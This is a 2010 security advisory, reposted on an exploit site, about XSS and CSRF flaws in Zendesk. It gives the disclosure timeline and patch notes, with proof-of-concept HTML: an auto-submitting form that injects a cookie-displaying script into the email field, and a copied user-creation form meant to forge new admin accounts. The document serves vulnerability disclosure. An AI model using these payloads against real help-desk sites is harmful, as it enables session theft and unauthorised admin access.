Home / os / win7

Zendesk Multiple Vulnerabilities

Posted on 10 August 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>Zendesk Multiple Vulnerabilities</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>================================
Zendesk Multiple Vulnerabilities
================================

/????????????????????????????????
 
:Zendesk Multiple Vulnerabilities :
 
\________________________________/
 
/Discovered By:                  
 
|Luis Santana                     |
 
\________________________________/
 
 
Overview
 
~_?~_?~_?~_?~_?~_?~_?~_?~_?~_?~
 
Luis Santana of the HackTalk Security team has found multiple vulnerabilities in Zendesk.
 
Product Information
 
~_?~_?~_?~_?~_?~_?~_?~_?~_?~_?~
 
Product/Script: Zendesk
 
Affected Version:
 
Vulnerability Type: Multiple
 
Security Risk: Multiple
 
Vendor URL: http://zendesk.com
 
Product/Script Demo:
 
Vendor Status: Notified
 
Patch/Fix Status: Patches Made
 
Advisory Timeline:  July 31st 9:34am EST - Zendesk Contacted about XSS
 
                    July 31st 12:42pm EST - Ticket passed to Security Department
 
                    July 31st 10:46pm EST - Zendesk has started producing patch. Given the go ahead to publicly disclose
 
                    July 31st 1:00am EST - Found CSRF, continuing investigation
 
                    August 1st 3:49pm EST - CSRF Patch in production
 
                    August 4th 3:51am EST - CSRF patch being rolled out
 
                    August 10th 3:36pm EST - Given the ok to post advisory publicly
 
Advisory URL: http://hacktalk.net/exploit/exploit.php?n=10
 
Product Description
 
~_?~_?~_?~_?~_?~_?~_?~_?~_?~_?~
 
Web-based customer support software with elegant ticket mnagement and a self-service customer community platform. Agile, smart and convenient.
 
(From http://www.zendesk.com)
 
Vulnerability Details
 
~_?~_?~_?~_?~_?~_?~_?~_?~_?~_?~
 
XSS -
The email address field of the anonymous_requests page is vulnerable to XSS due to lack of input sanitation. By crafting a malcious POST request an attacker is able to inject HTML, Javascript or AJAX into the anonymous_requests page.
 
CSRF -
Due to a lack of input sanitation many forms are vulnerable to CSRF. The most notable example is the new user creation form which allows an attacker to create a new administrative user.
 
Proof of Concept
 
~_?~_?~_?~_?~_?~_?~_?~_?~_?~_?~
 
XSS -
 
&lt;html&gt;
 
&lt;head&gt;&lt;/head&gt;
 
&lt;body&gt;
 
&lt;form method=&quot;POST&quot; action=&quot;https://site.com/anonymous_requests&quot;name=&quot;explForm&quot;&gt;
 
&lt;input type=hidden name=email value='&quot;&gt;&lt;script&gt;alert(&quot;I could have just stolen your cookie&quot; + document.cookie);&lt;/script&gt;'
 
&lt;/form&gt;
 
&lt;script language=&quot;Javascript&quot;&gt;
 
setTimeout('explForm.submit()', 1000 * 1);
 
&lt;/script&gt;
 
&lt;/body&gt;
 
 
CSRF -
 
&lt;form action=&quot;http://site.com/users&quot; class=&quot;new_user&quot; enctype=&quot;multipart/form-data&quot; id=&quot;user-form&quot; method=&quot;post&quot; name=&quot;userform&quot; onsubmit=&quot;return submitUser()&quot;&gt;
 
  &lt;input id=&quot;ignore-upload-user&quot; name=&quot;ignoreupload&quot; type=&quot;hidden&quot; value=&quot;0&quot; /&gt;
 
  &lt;h2&gt;Name &lt;span class=&quot;sub&quot;&gt;Display name used throughout the help desk.&lt;/span&gt;&lt;/h2&gt;
 
  &lt;input id=&quot;user_name&quot; name=&quot;user[name]&quot; size=&quot;30&quot; type=&quot;text&quot; /&gt;
 
  &lt;!--&lt;p&gt;Display name used throughout the help desk.&lt;/p&gt;--&gt;
 
          &lt;h3&gt;
 
        Email
 
        &lt;span class=&quot;sub&quot;&gt;Used when logging in.&lt;/span&gt;
 
      &lt;/h3&gt;
 
      &lt;input id=&quot;user_email&quot; name=&quot;user[email]&quot; size=&quot;30&quot; type=&quot;text&quot; /&gt;
 
      &lt;h3&gt;
 
        Twitter account
 
      &lt;/h3&gt;
 
      &lt;input id=&quot;user_new_twitter_identity&quot; name=&quot;user[new_twitter_identity]&quot; size=&quot;30&quot; type=&quot;text&quot; /&gt;
 
  &lt;h3&gt;Phone number &lt;span class=&quot;sub&quot;&gt;Optional.&lt;/span&gt;&lt;/h3&gt;
 
  &lt;input id=&quot;user_phone&quot; name=&quot;user[phone]&quot; size=&quot;30&quot; type=&quot;text&quot; /&gt;
 
  &lt;h3&gt;Time zone&lt;/h3&gt;
 
     &lt;select id=&quot;user_time_zone&quot; name=&quot;user[time_zone]&quot;&gt;&lt;option value=&quot;International Date Line West&quot;&gt;(GMT-11:00) International Date Line West&lt;/option&gt;
 
&lt;option value=&quot;Midway Island&quot;&gt;(GMT-11:00) Midway Island&lt;/option&gt;
 
&lt;option value=&quot;Samoa&quot;&gt;(GMT-11:00) Samoa&lt;/option&gt;
 
&lt;option value=&quot;Hawaii&quot;&gt;(GMT-10:00) Hawaii&lt;/option&gt;
 
&lt;option value=&quot;Alaska&quot;&gt;(GMT-09:00) Alaska&lt;/option&gt;
 
&lt;option value=&quot;Pacific Time (US &amp; Canada)&quot;&gt;(GMT-08:00) Pacific Time (US &amp; Canada)&lt;/option&gt;
 
&lt;option value=&quot;Tijuana&quot;&gt;(GMT-08:00) Tijuana&lt;/option&gt;
 
&lt;option value=&quot;Arizona&quot;&gt;(GMT-07:00) Arizona&lt;/option&gt;
 
&lt;option value=&quot;Chihuahua&quot;&gt;(GMT-07:00) Chihuahua&lt;/option&gt;
 
&lt;option value=&quot;Mazatlan&quot;&gt;(GMT-07:00) Mazatlan&lt;/option&gt;
 
&lt;option value=&quot;Mountain Time (US &amp; Canada)&quot;&gt;(GMT-07:00) Mountain Time (US &amp; Canada)&lt;/option&gt;
 
&lt;option value=&quot;Central America&quot;&gt;(GMT-06:00) Central America&lt;/option&gt;
 
&lt;option value=&quot;Central Time (US &amp; Canada)&quot;&gt;(GMT-06:00) Central Time (US &amp; Canada)&lt;/option&gt;
 
&lt;option value=&quot;Guadalajara&quot;&gt;(GMT-06:00) Guadalajara&lt;/option&gt;
 
&lt;option value=&quot;Mexico City&quot;&gt;(GMT-06:00) Mexico City&lt;/option&gt;
 
&lt;option value=&quot;Monterrey&quot;&gt;(GMT-06:00) Monterrey&lt;/option&gt;
 
&lt;option value=&quot;Saskatchewan&quot;&gt;(GMT-06:00) Saskatchewan&lt;/option&gt;
 
&lt;option value=&quot;Bogota&quot; selected=&quot;selected&quot;&gt;(GMT-05:00) Bogota&lt;/option&gt;
 
&lt;option value=&quot;Eastern Time (US &amp; Canada)&quot;&gt;(GMT-05:00) Eastern Time (US &amp; Canada)&lt;/option&gt;
 
&lt;option value=&quot;Indiana (East)&quot;&gt;(GMT-05:00) Indiana (East)&lt;/option&gt;
 
&lt;option value=&quot;Lima&quot;&gt;(GMT-05:00) Lima&lt;/option&gt;
 
&lt;option value=&quot;Quito&quot;&gt;(GMT-05:00) Quito&lt;/option&gt;
 
&lt;option value=&quot;Caracas&quot;&gt;(GMT-04:30) Caracas&lt;/option&gt;
 
&lt;option value=&quot;Atlantic Time (Canada)&quot;&gt;(GMT-04:00) Atlantic Time (Canada)&lt;/option&gt;
 
&lt;option value=&quot;La Paz&quot;&gt;(GMT-04:00) La Paz&lt;/option&gt;
 
&lt;option value=&quot;Santiago&quot;&gt;(GMT-04:00) Santiago&lt;/option&gt;
 
&lt;option value=&quot;Newfoundland&quot;&gt;(GMT-03:30) Newfoundland&lt;/option&gt;
 
&lt;option value=&quot;Brasilia&quot;&gt;(GMT-03:00) Brasilia&lt;/option&gt;
 
&lt;option value=&quot;Buenos Aires&quot;&gt;(GMT-03:00) Buenos Aires&lt;/option&gt;
 
&lt;option value=&quot;Georgetown&quot;&gt;(GMT-03:00) Georgetown&lt;/option&gt;
 
&lt;option value=&quot;Greenland&quot;&gt;(GMT-03:00) Greenland&lt;/option&gt;
 
&lt;option value=&quot;Mid-Atlantic&quot;&gt;(GMT-02:00) Mid-Atlantic&lt;/option&gt;
 
&lt;option value=&quot;Azores&quot;&gt;(GMT-01:00) Azores&lt;/option&gt;
 
&lt;option value=&quot;Cape Verde Is.&quot;&gt;(GMT-01:00) Cape Verde Is.&lt;/option&gt;
 
&lt;option value=&quot;Casablanca&quot;&gt;(GMT+00:00) Casablanca&lt;/option&gt;
 
&lt;option value=&quot;Dublin&quot;&gt;(GMT+00:00) Dublin&lt;/option&gt;
 
&lt;option value=&quot;Edinburgh&quot;&gt;(GMT+00:00) Edinburgh&lt;/option&gt;
 
&lt;option value=&quot;Lisbon&quot;&gt;(GMT+00:00) Lisbon&lt;/option&gt;
 
&lt;option value=&quot;London&quot;&gt;(GMT+00:00) London&lt;/option&gt;
 
&lt;option value=&quot;Monrovia&quot;&gt;(GMT+00:00) Monrovia&lt;/option&gt;
 
&lt;option value=&quot;UTC&quot;&gt;(GMT+00:00) UTC&lt;/option&gt;
 
&lt;option value=&quot;Amsterdam&quot;&gt;(GMT+01:00) Amsterdam&lt;/option&gt;
 
&lt;option value=&quot;Belgrade&quot;&gt;(GMT+01:00) Belgrade&lt;/option&gt;
 
&lt;option value=&quot;Berlin&quot;&gt;(GMT+01:00) Berlin&lt;/option&gt;
 
&lt;option value=&quot;Bern&quot;&gt;(GMT+01:00) Bern&lt;/option&gt;
 
&lt;option value=&quot;Bratislava&quot;&gt;(GMT+01:00) Bratislava&lt;/option&gt;
 
&lt;option value=&quot;Brussels&quot;&gt;(GMT+01:00) Brussels&lt;/option&gt;
 
&lt;option value=&quot;Budapest&quot;&gt;(GMT+01:00) Budapest&lt;/option&gt;
 
&lt;option value=&quot;Copenhagen&quot;&gt;(GMT+01:00) Copenhagen&lt;/option&gt;
 
&lt;option value=&quot;Ljubljana&quot;&gt;(GMT+01:00) Ljubljana&lt;/option&gt;
 
&lt;option value=&quot;Madrid&quot;&gt;(GMT+01:00) Madrid&lt;/option&gt;
 
&lt;option value=&quot;Paris&quot;&gt;(GMT+01:00) Paris&lt;/option&gt;
 
&lt;option value=&quot;Prague&quot;&gt;(GMT+01:00) Prague&lt;/option&gt;
 
&lt;option value=&quot;Rome&quot;&gt;(GMT+01:00) Rome&lt;/option&gt;
 
&lt;option value=&quot;Sarajevo&quot;&gt;(GMT+01:00) Sarajevo&lt;/option&gt;
 
&lt;option value=&quot;Skopje&quot;&gt;(GMT+01:00) Skopje&lt;/option&gt;
 
&lt;option value=&quot;Stockholm&quot;&gt;(GMT+01:00) Stockholm&lt;/option&gt;
 
&lt;option value=&quot;Vienna&quot;&gt;(GMT+01:00) Vienna&lt;/option&gt;
 
&lt;option value=&quot;Warsaw&quot;&gt;(GMT+01:00) Warsaw&lt;/option&gt;
 
&lt;option value=&quot;West Central Africa&quot;&gt;(GMT+01:00) West Central Africa&lt;/option&gt;
 
&lt;option value=&quot;Zagreb&quot;&gt;(GMT+01:00) Zagreb&lt;/option&gt;
 
&lt;option value=&quot;Athens&quot;&gt;(GMT+02:00) Athens&lt;/option&gt;
 
&lt;option value=&quot;Bucharest&quot;&gt;(GMT+02:00) Bucharest&lt;/option&gt;
 
&lt;option value=&quot;Cairo&quot;&gt;(GMT+02:00) Cairo&lt;/option&gt;
 
&lt;option value=&quot;Harare&quot;&gt;(GMT+02:00) Harare&lt;/option&gt;
 
&lt;option value=&quot;Helsinki&quot;&gt;(GMT+02:00) Helsinki&lt;/option&gt;
 
&lt;option value=&quot;Istanbul&quot;&gt;(GMT+02:00) Istanbul&lt;/option&gt;
 
&lt;option value=&quot;Jerusalem&quot;&gt;(GMT+02:00) Jerusalem&lt;/option&gt;
 
&lt;option value=&quot;Kyev&quot;&gt;(GMT+02:00) Kyev&lt;/option&gt;
 
&lt;option value=&quot;Minsk&quot;&gt;(GMT+02:00) Minsk&lt;/option&gt;
 
&lt;option value=&quot;Pretoria&quot;&gt;(GMT+02:00) Pretoria&lt;/option&gt;
 
&lt;option value=&quot;Riga&quot;&gt;(GMT+02:00) Riga&lt;/option&gt;
 
&lt;option value=&quot;Sofia&quot;&gt;(GMT+02:00) Sofia&lt;/option&gt;
 
&lt;option value=&quot;Tallinn&quot;&gt;(GMT+02:00) Tallinn&lt;/option&gt;
 
&lt;option value=&quot;Vilnius&quot;&gt;(GMT+02:00) Vilnius&lt;/option&gt;
 
&lt;option value=&quot;Baghdad&quot;&gt;(GMT+03:00) Baghdad&lt;/option&gt;
 
&lt;option value=&quot;Kuwait&quot;&gt;(GMT+03:00) Kuwait&lt;/option&gt;
 
&lt;option value=&quot;Moscow&quot;&gt;(GMT+03:00) Moscow&lt;/option&gt;
 
&lt;option value=&quot;Nairobi&quot;&gt;(GMT+03:00) Nairobi&lt;/option&gt;
 
&lt;option value=&quot;Riyadh&quot;&gt;(GMT+03:00) Riyadh&lt;/option&gt;
 
&lt;option value=&quot;St. Petersburg&quot;&gt;(GMT+03:00) St. Petersburg&lt;/option&gt;
 
&lt;option value=&quot;Volgograd&quot;&gt;(GMT+03:00) Volgograd&lt;/option&gt;
 
&lt;option value=&quot;Tehran&quot;&gt;(GMT+03:30) Tehran&lt;/option&gt;
 
&lt;option value=&quot;Abu Dhabi&quot;&gt;(GMT+04:00) Abu Dhabi&lt;/option&gt;
 
&lt;option value=&quot;Baku&quot;&gt;(GMT+04:00) Baku&lt;/option&gt;
 
&lt;option value=&quot;Muscat&quot;&gt;(GMT+04:00) Muscat&lt;/option&gt;
 
&lt;option value=&quot;Tbilisi&quot;&gt;(GMT+04:00) Tbilisi&lt;/option&gt;
 
&lt;option value=&quot;Yerevan&quot;&gt;(GMT+04:00) Yerevan&lt;/option&gt;
 
&lt;option value=&quot;Kabul&quot;&gt;(GMT+04:30) Kabul&lt;/option&gt;
 
&lt;option value=&quot;Ekaterinburg&quot;&gt;(GMT+05:00) Ekaterinburg&lt;/option&gt;
 
&lt;option value=&quot;Islamabad&quot;&gt;(GMT+05:00) Islamabad&lt;/option&gt;
 
&lt;option value=&quot;Karachi&quot;&gt;(GMT+05:00) Karachi&lt;/option&gt;
 
&lt;option value=&quot;Tashkent&quot;&gt;(GMT+05:00) Tashkent&lt;/option&gt;
 
&lt;option value=&quot;Chennai&quot;&gt;(GMT+05:30) Chennai&lt;/option&gt;
 
&lt;option value=&quot;Kolkata&quot;&gt;(GMT+05:30) Kolkata&lt;/option&gt;
 
&lt;option value=&quot;Mumbai&quot;&gt;(GMT+05:30) Mumbai&lt;/option&gt;
 
&lt;option value=&quot;New Delhi&quot;&gt;(GMT+05:30) New Delhi&lt;/option&gt;
 
&lt;option value=&quot;Sri Jayawardenepura&quot;&gt;(GMT+05:30) Sri Jayawardenepura&lt;/option&gt;
 
&lt;option value=&quot;Kathmandu&quot;&gt;(GMT+05:45) Kathmandu&lt;/option&gt;
 
&lt;option value=&quot;Almaty&quot;&gt;(GMT+06:00) Almaty&lt;/option&gt;
 
&lt;option value=&quot;Astana&quot;&gt;(GMT+06:00) Astana&lt;/option&gt;
 
&lt;option value=&quot;Dhaka&quot;&gt;(GMT+06:00) Dhaka&lt;/option&gt;
 
&lt;option value=&quot;Novosibirsk&quot;&gt;(GMT+06:00) Novosibirsk&lt;/option&gt;
 
&lt;option value=&quot;Rangoon&quot;&gt;(GMT+06:30) Rangoon&lt;/option&gt;
 
&lt;option value=&quot;Bangkok&quot;&gt;(GMT+07:00) Bangkok&lt;/option&gt;
 
&lt;option value=&quot;Hanoi&quot;&gt;(GMT+07:00) Hanoi&lt;/option&gt;
 
&lt;option value=&quot;Jakarta&quot;&gt;(GMT+07:00) Jakarta&lt;/option&gt;
 
&lt;option value=&quot;Krasnoyarsk&quot;&gt;(GMT+07:00) Krasnoyarsk&lt;/option&gt;
 
&lt;option value=&quot;Beijing&quot;&gt;(GMT+08:00) Beijing&lt;/option&gt;
 
&lt;option value=&quot;Chongqing&quot;&gt;(GMT+08:00) Chongqing&lt;/option&gt;
 
&lt;option value=&quot;Hong Kong&quot;&gt;(GMT+08:00) Hong Kong&lt;/option&gt;
 
&lt;option value=&quot;Irkutsk&quot;&gt;(GMT+08:00) Irkutsk&lt;/option&gt;
 
&lt;option value=&quot;Kuala Lumpur&quot;&gt;(GMT+08:00) Kuala Lumpur&lt;/option&gt;
 
&lt;option value=&quot;Perth&quot;&gt;(GMT+08:00) Perth&lt;/option&gt;
 
&lt;option value=&quot;Singapore&quot;&gt;(GMT+08:00) Singapore&lt;/option&gt;
 
&lt;option value=&quot;Taipei&quot;&gt;(GMT+08:00) Taipei&lt;/option&gt;
 
&lt;option value=&quot;Ulaan Bataar&quot;&gt;(GMT+08:00) Ulaan Bataar&lt;/option&gt;
 
&lt;option value=&quot;Urumqi&quot;&gt;(GMT+08:00) Urumqi&lt;/option&gt;
 
&lt;option value=&quot;Osaka&quot;&gt;(GMT+09:00) Osaka&lt;/option&gt;
 
&lt;option value=&quot;Sapporo&quot;&gt;(GMT+09:00) Sapporo&lt;/option&gt;
 
&lt;option value=&quot;Seoul&quot;&gt;(GMT+09:00) Seoul&lt;/option&gt;
 
&lt;option value=&quot;Tokyo&quot;&gt;(GMT+09:00) Tokyo&lt;/option&gt;
 
&lt;option value=&quot;Yakutsk&quot;&gt;(GMT+09:00) Yakutsk&lt;/option&gt;
 
&lt;option value=&quot;Adelaide&quot;&gt;(GMT+09:30) Adelaide&lt;/option&gt;
 
&lt;option value=&quot;Darwin&quot;&gt;(GMT+09:30) Darwin&lt;/option&gt;
 
&lt;option value=&quot;Brisbane&quot;&gt;(GMT+10:00) Brisbane&lt;/option&gt;
 
&lt;option value=&quot;Canberra&quot;&gt;(GMT+10:00) Canberra&lt;/option&gt;
 
&lt;option value=&quot;Guam&quot;&gt;(GMT+10:00) Guam&lt;/option&gt;
 
&lt;option value=&quot;Hobart&quot;&gt;(GMT+10:00) Hobart&lt;/option&gt;
 
&lt;option value=&quot;Melbourne&quot;&gt;(GMT+10:00) Melbourne&lt;/option&gt;
 
&lt;option value=&quot;Port Moresby&quot;&gt;(GMT+10:00) Port Moresby&lt;/option&gt;
 
&lt;option value=&quot;Sydney&quot;&gt;(GMT+10:00) Sydney&lt;/option&gt;
 
&lt;option value=&quot;Vladivostok&quot;&gt;(GMT+10:00) Vladivostok&lt;/option&gt;
 
&lt;option value=&quot;Magadan&quot;&gt;(GMT+11:00) Magadan&lt;/option&gt;
 
&lt;option value=&quot;New Caledonia&quot;&gt;(GMT+11:00) New Caledonia&lt;/option&gt;
 
&lt;option value=&quot;Solomon Is.&quot;&gt;(GMT+11:00) Solomon Is.&lt;/option&gt;
 
&lt;option value=&quot;Auckland&quot;&gt;(GMT+12:00) Auckland&lt;/option&gt;
 
&lt;option value=&quot;Fiji&quot;&gt;(GMT+12:00) Fiji&lt;/option&gt;
 
&lt;option value=&quot;Kamchatka&quot;&gt;(GMT+12:00) Kamchatka&lt;/option&gt;
 
&lt;option value=&quot;Marshall Is.&quot;&gt;(GMT+12:00) Marshall Is.&lt;/option&gt;
 
&lt;option value=&quot;Wellington&quot;&gt;(GMT+12:00) Wellington&lt;/option&gt;
 
&lt;option value=&quot;Nuku'alofa&quot;&gt;(GMT+13:00) Nuku'alofa&lt;/option&gt;&lt;option value=&quot;&quot; disabled=&quot;disabled&quot;&gt;-------------&lt;/option&gt;
 
&lt;/select&gt;
 
  &lt;a name=&quot;photo&quot;&gt;
 
      &lt;h3&gt;Photo &lt;span class=&quot;sub&quot;&gt;An optional smiling face. For the best results, upload a photo with equal length and height.&lt;/span&gt;&lt;/h3&gt;
 
      &lt;input id=&quot;photo_uploaded_data&quot; name=&quot;photo[uploaded_data]&quot; type=&quot;file&quot; /&gt;
 
  &lt;/a&gt;
 
    &lt;h3&gt;Detailed information&lt;/h3&gt;
 
    &lt;textarea cols=&quot;60&quot; id=&quot;user_details&quot; name=&quot;user[details]&quot; rows=&quot;5&quot;&gt;&lt;/textarea&gt;
 
    &lt;p&gt;Optional detailed information concerning this user, e.g. an address. This information is visible to agents only, never to end-users.&lt;/p&gt;
 
    &lt;h3&gt;Notes&lt;/h3&gt;
 
    &lt;textarea cols=&quot;60&quot; id=&quot;user_notes&quot; name=&quot;user[notes]&quot; rows=&quot;5&quot;&gt;&lt;/textarea&gt;
 
    &lt;p&gt;Optional notes concerning this user. Notes can also be added/edited for a requester directly on the ticket form page.&lt;br/&gt;Notes are visible to agents only, never to any end-user.&lt;/p&gt;
 
      &lt;div id=&quot;organization-block&quot;&gt;
 
          &lt;h3&gt;Organization&lt;/h3&gt;
 
 &lt;select id=&quot;user_organization_id&quot; name=&quot;user[organization_id]&quot; style=&quot;width:auto;&quot;&gt;&lt;option value=&quot;&quot;&gt;(None)&lt;/option&gt;
 
&lt;option value=&quot;237057&quot;&gt;HackTalk Security&lt;/option&gt;&lt;/select&gt;
 
          &lt;p&gt;Leave blank to select default organization according to organization mappings.&lt;/p&gt;
 
      &lt;/div&gt;
 
      &lt;h3&gt;Role - privileges granted to this user&lt;/h3&gt;
 
      &lt;h4&gt;
 
        &lt;input checked=&quot;checked&quot; id=&quot;user-radio&quot; name=&quot;user[roles]&quot; onclick=&quot;checkAgent();&quot; type=&quot;radio&quot; value=&quot;0&quot; /&gt;
 
        End-user.
 
        &lt;span class=&quot;sub&quot;&gt;Submits support tickets to the help desk.&lt;/span&gt;
 
      &lt;/h4&gt;
 
      &lt;div id=&quot;end_user_block&quot; class=&quot;indented_option&quot; style=&quot;&quot;&gt;
 
        &lt;h4&gt;Has access to:&lt;/h4&gt;
 
        &lt;p&gt;&lt;input checked=&quot;checked&quot; id=&quot;user_restriction_id_4&quot; name=&quot;user[restriction_id]&quot; type=&quot;radio&quot; value=&quot;4&quot; /&gt; Tickets requested by user only&lt;/p&gt;
 
          &lt;p&gt;&lt;input id=&quot;user_restriction_id_2&quot; name=&quot;user[restriction_id]&quot; type=&quot;radio&quot; value=&quot;2&quot; /&gt; Tickets from user's organization&lt;/p&gt;
 
          &lt;p&gt;Note - if the user belongs to a shared organization, then the user always has access to tickets in the organization.&lt;/p&gt;
 
      &lt;/div&gt;
 
        &lt;h4&gt;
 
          &lt;input id=&quot;user_roles_4&quot; name=&quot;user[roles]&quot; onclick=&quot;checkAgent();&quot; type=&quot;radio&quot; value=&quot;4&quot; /&gt;
 
          Agent.
 
          &lt;span class=&quot;sub&quot;&gt;Help desk operator. Receives and resolves tickets from end-users.&lt;/span&gt;
 
        &lt;/h4&gt;
 
        &lt;div id=&quot;agent_block&quot; class=&quot;indented_option&quot; style=&quot;display:none;&quot;&gt;
 
          &lt;div id=&quot;agent_groups&quot;&gt;&lt;/div&gt;
 
          &lt;h4&gt;Has access to:&lt;/h4&gt;
 
          &lt;p&gt;&lt;input id=&quot;user_restriction_id_0&quot; name=&quot;user[restriction_id]&quot; type=&quot;radio&quot; value=&quot;0&quot; /&gt; All tickets &lt;span class=&quot;sub&quot;&gt;(can also add, modify and assume end-users)&lt;/span&gt;&lt;/p&gt;
 
            &lt;p&gt;
 
                &lt;input type=&quot;radio&quot; value=&quot;2&quot; name=&quot;user[restriction_id]&quot; id=&quot;snov&quot;/&gt;
 
              Tickets requested by users in this agent's organization &lt;span class=&quot;sub&quot;&gt;(also can't see forums restricted to other organizations)&lt;/span&gt;
 
            &lt;/p&gt;
 
          &lt;p&gt;&lt;input id=&quot;user_restriction_id_3&quot; name=&quot;user[restriction_id]&quot; type=&quot;radio&quot; value=&quot;3&quot; /&gt; Tickets assigned to this agent only&lt;/p&gt;
 
          &lt;h4&gt;Can add ticket comments that are:&lt;/h4&gt;
 
          &lt;p&gt;
 
          &lt;label class=&quot;option&quot;&gt;&lt;input checked=&quot;checked&quot; class=&quot;radio&quot; id=&quot;user_is_private_comments_only_false&quot; name=&quot;user[is_private_comments_only]&quot; type=&quot;radio&quot; value=&quot;false&quot; /&gt; Public or private&lt;/label&gt;
 
          &lt;label class=&quot;option&quot;&gt;&lt;input class=&quot;radio&quot; id=&quot;user_is_private_comments_only_true&quot; name=&quot;user[is_private_comments_only]&quot; type=&quot;radio&quot; value=&quot;true&quot; /&gt; Private only (viewable only by other agents)&lt;/label&gt;
 
          &lt;/p&gt;
 
          &lt;h4&gt;Can moderate (edit, delete and reorder) topics in forums:&lt;/h4&gt;
 
          &lt;p&gt;
 
            &lt;label class=&quot;option&quot;&gt;&lt;input class=&quot;radio&quot; id=&quot;user_is_moderator_true&quot; name=&quot;user[is_moderator]&quot; type=&quot;radio&quot; value=&quot;true&quot; /&gt; Yes&lt;/label&gt;
 
            &lt;label class=&quot;option&quot;&gt;&lt;input checked=&quot;checked&quot; class=&quot;radio&quot; id=&quot;user_is_moderator_false&quot; name=&quot;user[is_moderator]&quot; type=&quot;radio&quot; value=&quot;false&quot; /&gt; No&lt;/label&gt;
 
          &lt;/p&gt;
 
        &lt;/div&gt;
 
        &lt;h4&gt;
 
          &lt;input id=&quot;user_roles_2&quot; name=&quot;user[roles]&quot; onclick=&quot;checkAgent();&quot; type=&quot;radio&quot; value=&quot;2&quot; /&gt;
 
          Admin.
 
          &lt;span class=&quot;sub&quot;&gt;Manages the help desk with regard to rules, users, organizations, groups and SLA's. Has access to all tickets.&lt;/span&gt;
 
          &lt;div id=&quot;admin_groups&quot; class=&quot;indented_option&quot;&gt;&lt;/div&gt;
 
        &lt;/h4&gt;
 
  &lt;div class=&quot;action&quot;&gt;
 
    &lt;input class=&quot;buttonsubmit&quot; id=&quot;submit-button&quot; name=&quot;commit&quot; type=&quot;submit&quot; value=&quot;Create&quot; /&gt;
 
  &lt;/div&gt;
 
 
Patch/Fix Suggestion(s)
 
~_?~_?~_?~_?~_?~_?~_?~_?~_?~_?~
 
Upgrade to the latest version of Zendesk as they have released patches for these vulnerabilities.
 
Security Risk
 
~_?~_?~_?~_?~_?~_?~_?~_?~_?~_?~
 
XSS - Low
 
CSRF - Mid


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-08-10]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP

Malware :

Exploits :